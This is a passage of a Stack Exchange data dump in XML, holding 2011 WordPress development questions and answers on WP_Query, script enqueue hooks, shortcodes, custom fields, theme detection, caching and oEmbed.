  <row Id="21563" PostTypeId="1" CreationDate="2011-06-30T04:37:19.957" Score="-1" ViewCount="75" Body="&lt;p&gt;I would like to know why we get an error when we implement this code in our &lt;code&gt;sidebar.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories(); &#xA;foreach($categories as $category) &#xA;{ &#xA;  printf('&amp;lt;h2&amp;gt;%s&amp;lt;/h2&amp;gt;&amp;lt;ul&amp;gt;', $category-&amp;gt;cat_name);&#xA;  $posts = new WP_Query('cat='.$category-&amp;gt;cat_ID);&#xA;  while($posts-&amp;gt;have_posts())&#xA;  {     &#xA;    $posts-&amp;gt;the_post();&#xA;    echo '&amp;lt;li&amp;gt;', the_title(), '&amp;lt;/li&amp;gt;'; &#xA;  }   &#xA;  print '&amp;lt;/ul&amp;gt;';  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error we are getting is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Cannot use object of type WP_Query as array in C:\xampp\htdocs\wordpress\wp-includes\query.php on line 2374&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6624" LastActivityDate="2011-06-30T07:43:24.653" Title="Wordpress WP_Query() Not working properly" Tags="&lt;php&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="21564" PostTypeId="2" ParentId="21563" CreationDate="2011-06-30T07:15:27.267" Score="0" ViewCount="" Body="&lt;p&gt;sometimes, probably if you have two queries in one page, you need to reset the query data, try to insert the code below after while loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6496" LastActivityDate="2011-06-30T07:15:27.267" CommentCount="1" />
  <row Id="21566" PostTypeId="2" ParentId="21561" CreationDate="2011-06-30T08:06:16.137" Score="0" ViewCount="" Body="&lt;p&gt;Theoritically you can use them where ever you are more comfortable with them, you just have to make sure that you do enqueue and register them before &lt;code&gt;wp_head&lt;/code&gt; or &lt;code&gt;admin_head&lt;/code&gt; action is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Codex page for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_script&lt;/a&gt; under the usage it is recommended that you use &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; or &lt;code&gt;admin_enqueue_scripts&lt;/code&gt; to enqueue your scripts but if your scoll down to bottom almost all the examples enqueue scripts using the init action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you always want to use the safer and recommended ways then here is how I enqueue and register script and styles.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Register Front End Scripts - &lt;code&gt;init&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Register Front End Styles - &lt;code&gt;init&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Front End Scripts - &lt;code&gt;wp_enqueue_scripts&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Front End Styles - &lt;code&gt;wp_print_styles&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Register Back End Scripts - &lt;code&gt;admin_init&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Register Back End Styles - &lt;code&gt;admin_init&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Back End Scripts - &lt;code&gt;admin_print_scripts&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Back End Scripts (Page Specific) - &lt;code&gt;admin_print_scripts-{xxx}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Back End Styles - &lt;code&gt;admin_print_styles&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Back End Styles (Page Specific) - &lt;code&gt;admin_print_styles-{xxx}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-30T09:39:10.713" LastActivityDate="2011-06-30T09:39:10.713" CommentCount="4" />
  <row Id="21567" PostTypeId="2" ParentId="21556" CreationDate="2011-06-30T08:20:11.127" Score="0" ViewCount="" Body="&lt;p&gt;I'm just beginning to play around with registering scripts, adding my own etc. I believe it's OK to use the Google CDN as long as you deregister the WordPress version (only when viewing the website, not in the Admin area). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the correct way to do this is to use the &lt;code&gt;if ( !is_admin ()...&lt;/code&gt; way. This will ensure everything continues to work correctly in the Admin Area, but still allows you to take advantage of the Google CDN. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !is_admin() ){&#xA;   wp_deregister_script('jquery');&#xA;   wp_register_script('jquery', (&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js&quot;), false, '1.3.2');&#xA;   wp_enqueue_script('jquery');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe that is how to achieve what you're asking, but I would like to hear some of the &quot;Guru's&quot; suggestions on this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should have noticed that you are using this in the admin area since it's clearly stated in your question. Here is the way suggested in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;WP Codex Function Reference/wp enqueue script&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function my_init_method() {&#xA;    if (!is_admin()) {&#xA;        wp_deregister_script( 'jquery' );&#xA;        wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.6/jquery.min.js');&#xA;        wp_enqueue_script( 'jquery' );&#xA;    }&#xA;}    &#xA;add_action('init', 'my_init_method');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5339" LastEditorUserId="5339" LastEditorDisplayName="" LastEditDate="2011-07-08T03:16:06.803" LastActivityDate="2011-07-08T03:16:06.803" CommentCount="2" />
  <row Id="21568" PostTypeId="1" CreationDate="2011-06-30T07:40:30.283" Score="0" ViewCount="36" Body="&lt;p&gt;The blog I'm implementing will have more than one user (different analysts) but there will be only one user (call it the publisher user) who will be checking through the posts and uploading them for everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client wants me add a feature that will allow the publisher user to select which author he is posting on behalf of and that will then display that author's name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could a approach this issue? I was told to try something with custom fields?&lt;/p&gt;&#xA;" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-30T09:17:48.113" LastActivityDate="2011-08-29T21:36:34.450" Title="wordpress multi user question" Tags="&lt;custom-field&gt;&lt;post-meta&gt;&lt;author&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="21569" PostTypeId="2" ParentId="21544" CreationDate="2011-06-30T08:25:15.573" Score="1" ViewCount="" Body="&lt;p&gt;Maybe this would do the trick. If your full image has the same dimensions as your large settings (and thus is set as 'full'), show the full image instead of the large one  :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( empty( get_the_post_thumbnail( $post-&amp;gt;ID, 'large') ) &amp;amp;&amp;amp; !empty( get_the_post_thumbnail( $post-&amp;gt;ID, 'full') {&#xA;    // show full image (same size as large)&#xA;    echo get_the_post_thumbnail( $post-&amp;gt;ID, 'full');&#xA;} else {&#xA;    // show large image&#xA;    echo get_the_post_thumbnail( $post-&amp;gt;ID, 'large');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-30T08:25:15.573" CommentCount="1" />
  <row Id="21570" PostTypeId="1" CreationDate="2011-06-30T02:02:15.517" Score="-1" ViewCount="46" Body="&lt;p&gt;Is there a plugin that posts converted RSS Feeds to Wordpress Posts, but only posts the Permalink (title), which refers back to the original source once clicked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could a plugin such as FeedWordPress be coerced into doing this via modification?&lt;/p&gt;&#xA;" LastActivityDate="2011-06-30T12:22:22.157" Title="Wordpress RSS Permalink" Tags="&lt;rss&gt;&lt;permalink&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="21571" PostTypeId="2" ParentId="20232" CreationDate="2011-06-30T08:41:34.093" Score="0" ViewCount="" Body="&lt;p&gt;First of all open query.php file into wp-includes folder. find this code.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ( isset($q['post_status']) &amp;amp;&amp;amp; $q['post_status'] != '' ) {&#xA;            $statuswheres = array();&#xA;            $q_status = explode(',', $q['post_status']);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and Replace with :--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ( ! empty( $q['post_status'] ) ) {&#xA;            $statuswheres = array();&#xA;            $q_status = $q['post_status'];&#xA;            if ( ! is_array( $q_status ) )&#xA;                $q_status = explode(',', $q_status);&lt;/p&gt;&#xA;" OwnerUserId="6631" LastActivityDate="2011-06-30T08:41:34.093" />
  <row Id="21572" PostTypeId="1" CreationDate="2011-06-29T17:51:35.423" Score="-1" ViewCount="31" Body="&lt;p&gt;How can I test which theme is active? I have two themes for my personal blog/portfolio, and I'd really like to place a link in the header so the user can switch from theme to theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already know the URL to place there because I've installed the Theme Switch Reloaded Plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anyone know of some WP functions I can call to test which theme is currently active for my users?&lt;/p&gt;&#xA;" OwnerUserId="6674" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-30T08:47:06.850" LastActivityDate="2011-06-30T19:18:04.477" Title="WordPress: how to test which theme is active?" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;switch&gt;" AnswerCount="3" />
  <row Id="21573" PostTypeId="2" ParentId="21572" CreationDate="2011-06-29T17:57:39.963" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://www.wprecipes.com/wordpress-trick-change-theme-programatically&quot; rel=&quot;nofollow&quot;&gt;this article to change themes programatically&lt;/a&gt;, there's good info in the comments as well.&lt;/p&gt;&#xA;" OwnerUserId="4968" LastActivityDate="2011-06-29T17:57:39.963" CommentCount="1" />
  <row Id="21574" PostTypeId="1" CreationDate="2011-06-29T16:00:05.890" Score="0" ViewCount="103" Body="&lt;p&gt;Is there a way to wrap a wordpress shortcode around a div in a template file?&#xA;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;subscription&quot;&amp;gt;&#xA;&amp;lt;?php do_shortcode('[subscribe]');?&amp;gt;&#xA;&amp;lt;p&amp;gt;This is subscription text&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;subscription&quot;&amp;gt;&#xA;&amp;lt;?php do_shortcode('[subscribe]');?&amp;gt;&#xA;&amp;lt;p&amp;gt;This is subscription text&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php do_shortcode('[/subscribe]');?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-30T08:56:09.843" LastActivityDate="2011-08-30T04:36:46.500" Title="Wordpress Shortcode wrap around div" Tags="&lt;template&gt;&lt;shortcode&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="21575" PostTypeId="2" ParentId="21574" CreationDate="2011-06-29T16:04:02.910" Score="0" ViewCount="" Body="&lt;p&gt;If by template file you mean a php file in the themes folder, you can call &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;do_shortcode&lt;/a&gt; to have the shortcode processor do its magic on your div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: not entirely sure I understand what you want, but you could try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;subscription&quot;&amp;gt;&#xA;&amp;lt;?php do_shortcode('[subscribe]'.call_php_function().'[/subscribe]');?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6634" LastEditorUserId="6634" LastEditorDisplayName="" LastEditDate="2011-06-30T10:55:45.477" LastActivityDate="2011-06-30T10:55:45.477" CommentCount="1" />
  <row Id="21576" PostTypeId="2" ParentId="21574" CreationDate="2011-06-29T16:20:28.133" Score="0" ViewCount="" Body="&lt;p&gt;I'm pretty sure the above code should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php do_shortcode('[subscribe]&amp;lt;p&amp;gt;This is the subscription text&amp;lt;/p&amp;gt;[/subscribe]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use the content in the shortcode function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function subscribe_shortcode($atts, $content = '', $code = NULL) {&#xA;&#xA;return '&amp;lt;div id=&quot;whatever-etc&quot;&amp;gt;'.$content.'&amp;lt;/div&amp;gt;';&#xA;}&#xA;add_shortcode('subscribe', 'subscribe_shortcode');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above would output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;whatever-etc&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;This is the subscription text&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7663" LastActivityDate="2011-06-29T16:26:25.580" CommentCount="5" />
  <row Id="21577" PostTypeId="2" ParentId="21572" CreationDate="2011-06-30T08:52:57.397" Score="2" ViewCount="" Body="&lt;p&gt;To test which theme is currently active you can use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_option( 'current_theme' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-30T08:52:57.397" />
  <row Id="21578" PostTypeId="2" ParentId="21570" CreationDate="2011-06-30T09:05:28.630" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if it will work for you, since I haven't updated this plugin for a very, very long time, but you can try it: &lt;a href=&quot;http://wordpress.org/extend/plugins/news-ticker/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/news-ticker/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note to self: Update the Ticker, damn it.&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-30T09:05:28.630" CommentCount="1" />
  <row Id="21579" PostTypeId="2" ParentId="21561" CreationDate="2011-06-30T09:14:14.707" Score="8" ViewCount="" Body="&lt;p&gt;First let's go over why registering and queuing properly matters at all:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;it should be &lt;strong&gt;in time&lt;/strong&gt; - earlier than script/style is up for being output to page, otherwise it is too late;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;it should be &lt;strong&gt;conditional&lt;/strong&gt; - otherwise you are loading stuff where you don't need it and cause performance and functionality issues, for this you need WP environment loaded to late stage.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Second, it's important to understand that there are three distinct stages in the process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;register&lt;/strong&gt; - this explains WP details about script/style and makes it store that info;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;enqueue&lt;/strong&gt; - (often lumped together with register in one &lt;code&gt;wp_enqueue_*()&lt;/code&gt; call) - this tells WP to add scripts/style to the queue, according to its settings (dependencies, header/footer loading).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;print&lt;/strong&gt; - this happens when WP processes queue, tries to load something specific for itself &lt;strong&gt;or&lt;/strong&gt; when you explicitly do it with &lt;code&gt;wp_print_*()&lt;/code&gt; function.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now look at front-end structure of functions and calls for this functionality:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;wp_head()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;wp_head&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;(1)&lt;/em&gt; &lt;code&gt;wp_enqueue_scripts()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp_enqueue_scripts&lt;/code&gt; &lt;strong&gt;&amp;lt;&amp;lt;&amp;lt; this is what you need&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;(8)&lt;/em&gt; &lt;code&gt;wp_print_styles()&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;(9)&lt;/em&gt; &lt;code&gt;wp_print_head_scripts()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;wp_footer()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp_footer&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;(10)&lt;/em&gt; &lt;code&gt;wp_print_footer_scripts()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It goes much deeper, but this is simple and good enough for important points:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;wp_enqueue_scripts&lt;/code&gt; is most appropriate hook for registering and queuing scripts and styles on front end&lt;/strong&gt; and it is there specifically for that;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;init&lt;/code&gt; has nothing to do with this, it will work, but - &lt;strong&gt;past Codex recommendation to use only it was incorrect&lt;/strong&gt;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;del&gt;you can get away with queuing scripts (not styles) for footer at any point before &lt;code&gt;wp_print_footer_scripts()&lt;/code&gt; call.&lt;/del&gt; Not reliable at moment, see &lt;a href=&quot;http://core.trac.wordpress.org/ticket/9346&quot; rel=&quot;nofollow&quot;&gt;#9346&lt;/a&gt;. Can be worked around with &lt;a href=&quot;http://scribu.net/wordpress/optimal-script-loading.html&quot; rel=&quot;nofollow&quot;&gt;some manual calls&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;wp_print_*&lt;/code&gt; hooks are NOT appropriate for register/queue&lt;/strong&gt;, they are points in code when output is already happening. They are appropriate for manual/custom script/style output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What about admin? Well, the functionality there is even more complex, elaborate and nested.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;for starters &lt;strong&gt;just use &lt;code&gt;admin_enqueue_scripts&lt;/code&gt; hook&lt;/strong&gt; (it gets passed &lt;strong&gt;&lt;code&gt;$hook_suffix&lt;/code&gt; global for conditional stuff&lt;/strong&gt;) for everything, it will do nicely for most cases;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;when you need something complex - look through &lt;code&gt;admin-header.php&lt;/code&gt; and dig from there for appropriate hooks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-09-05T10:58:54.963" LastActivityDate="2011-09-05T10:58:54.963" CommentCount="5" />
  <row Id="21580" PostTypeId="2" ParentId="21568" CreationDate="2011-06-30T09:15:15.760" Score="0" ViewCount="" Body="&lt;p&gt;You can use a simple custom field and tweak your template a little,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example say you call that custom filed &quot;original_author&quot;&#xA;then your theme you need to replace &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_author(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID,'original_author',true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-30T09:15:15.760" />
  <row Id="21581" PostTypeId="1" CreationDate="2011-06-30T09:16:04.593" Score="0" ViewCount="75" Body="&lt;p&gt;On my author page I currently have a list of categories the author has posted in generated by the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$categories = $wpdb-&amp;gt;get_results(&quot;&#xA;    SELECT DISTINCT(terms.term_id) as ID, terms.name, terms.slug&#xA;    FROM $wpdb-&amp;gt;posts as posts&#xA;    LEFT JOIN $wpdb-&amp;gt;term_relationships as relationships ON posts.ID = relationships.object_ID&#xA;    LEFT JOIN $wpdb-&amp;gt;term_taxonomy as tax ON relationships.term_taxonomy_id = tax.term_taxonomy_id&#xA;    LEFT JOIN $wpdb-&amp;gt;terms as terms ON tax.term_id = terms.term_id&#xA;    WHERE 1=1 AND (&#xA;        posts.post_status = 'publish' AND&#xA;        posts.post_author = $curauth-&amp;gt;ID AND&#xA;        tax.taxonomy = 'category' )&#xA;    ORDER BY terms.name ASC&#xA;&quot;);&#xA;$x = 0;&#xA;?&amp;gt;&#xA;&amp;lt;ul class=&quot;category-list&quot;&amp;gt;&#xA;    &amp;lt;?php foreach($categories as $category) : ?&amp;gt;&#xA;    &amp;lt;?php if( $x%2 ){ ?&amp;gt;&#xA;    &amp;lt;li class=&quot;odd&quot;&amp;gt;&#xA;    &amp;lt;?php } else { ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_category_link( $category-&amp;gt;ID ); ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $category-&amp;gt;name ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $category-&amp;gt;name ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php $x++; endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm after doing is to add the number of posts within each category in the foreach loop, next to the category in parentheses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how would I go about doing so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3670" LastActivityDate="2011-07-30T13:34:12.337" Title="Author Page - List of categories plus number of posts in that category" Tags="&lt;categories&gt;&lt;author&gt;" AnswerCount="2" />
  <row Id="21582" PostTypeId="1" CreationDate="2011-06-30T09:23:22.980" Score="0" ViewCount="32" Body="&lt;p&gt;I'm just starting to use W3TotalCache and am a little perplexed by how I should load the gobs of javascript and CSS rendering on the site in the question. Adding some of the pre-minified jQuery scripts via the Minified wizard in W3TotalCache breaks them when loading on the site; same with CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have a boatload of modules, what are some good rules of thumb when moving around javascript/css for minification?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-07-30T14:51:32.077" Title="W3TotalCache and Javascript -- what should go where, when?" Tags="&lt;css&gt;&lt;javascript&gt;&lt;cache&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="21583" PostTypeId="2" ParentId="8919" CreationDate="2011-06-30T09:28:17.110" Score="0" ViewCount="" Body="&lt;p&gt;My boss decided it'd be way easier to outsource the content importing to an outsource group in India. In reality, I think that's probably the best solution for this kind of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking the mods to make this a community wiki question; seems like a common enough problem that it deserves a list of solutions instead of just one answer.&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-06-30T09:28:17.110" />
  <row Id="21584" PostTypeId="2" ParentId="8919" CreationDate="2011-06-30T09:35:31.880" Score="2" ViewCount="" Body="&lt;p&gt;Not my area, but this article made some splash in WP news recently - &lt;a href=&quot;http://www.mediabistro.com/10000words/how-to-run-a-news-site-and-newspaper-using-wordpress-and-google-docs_b4781&quot; rel=&quot;nofollow&quot;&gt;How To Run A News Site And Newspaper Using WordPress And Google Docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It mentions InDesign integration as well (although in opposite direction, import from WordPress) and that all code is open source.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-30T09:35:31.880" CommentCount="1" />
  <row Id="21585" PostTypeId="2" ParentId="21582" CreationDate="2011-06-30T10:00:10.420" Score="0" ViewCount="" Body="&lt;p&gt;I haven't found any rules or guides to go by and every time i used &lt;strong&gt;W3TotalCache&lt;/strong&gt; i simply run &quot;Trail &amp;amp; Error&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only guide line i have is to include as many scripts and styles as possible without breaking them via he Minified wizard, This saves the browser a few GET calls for each page.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-30T10:00:10.420" />
  <row Id="21586" PostTypeId="1" AcceptedAnswerId="21616" CreationDate="2011-06-30T10:04:08.730" Score="3" ViewCount="73" Body="&lt;p&gt;I need WP to show an embedded representation of a url such as &lt;a href=&quot;http://domain.com/1121&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/1121&lt;/a&gt; using oembed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have setup &lt;a href=&quot;http://domain.com/1121&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/1121&lt;/a&gt; with a discovery link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;http://www.domain.com/generator/oembed/?url=http%3A//domain.com/1121&quot; rel=&quot;alternate&quot; type=&quot;text/xml+oembed&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm aware that WP no longer automatically discovers embeddable URLs, so I installed &lt;a href=&quot;http://www.viper007bond.com/wordpress-plugins/other-plugins/enable-oembed-discovery/&quot; rel=&quot;nofollow&quot;&gt;enable-oembed-discovery&lt;/a&gt; plugin to re-enable this feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have monitored my apache logs and confirmed that WP does hits the link to discover - so I guess the enable-oembed-discovery plugin works, but the URL is NEVER converted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even wrote a plugin to whitelist my custom URL (really should not be needed since enable-oembed-discovery plugin should enable auto-discovery, but what the heck):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'my_oembed_provider' );&#xA;&#xA;function my_oembed_provider() {&#xA;    wp_oembed_add_provider( 'http://domain.com/*', 'http://www.domain.com/generator/oembed/', false);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The API endpoint (http://www.domain.com/generator/oembed/) is hard coded to generate the following XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;        &amp;lt;OEmbed&amp;gt;&#xA;            &amp;lt;type&amp;gt;rich&amp;lt;/type&amp;gt;&#xA;            &amp;lt;width&amp;gt;400&amp;lt;/width&amp;gt;&#xA;            &amp;lt;height&amp;gt;342&amp;lt;/height&amp;gt;&#xA;            &amp;lt;html&amp;gt;&amp;lt;![CDATA[&amp;amp;lt;b&amp;amp;gt;HELLO WORLD FROM 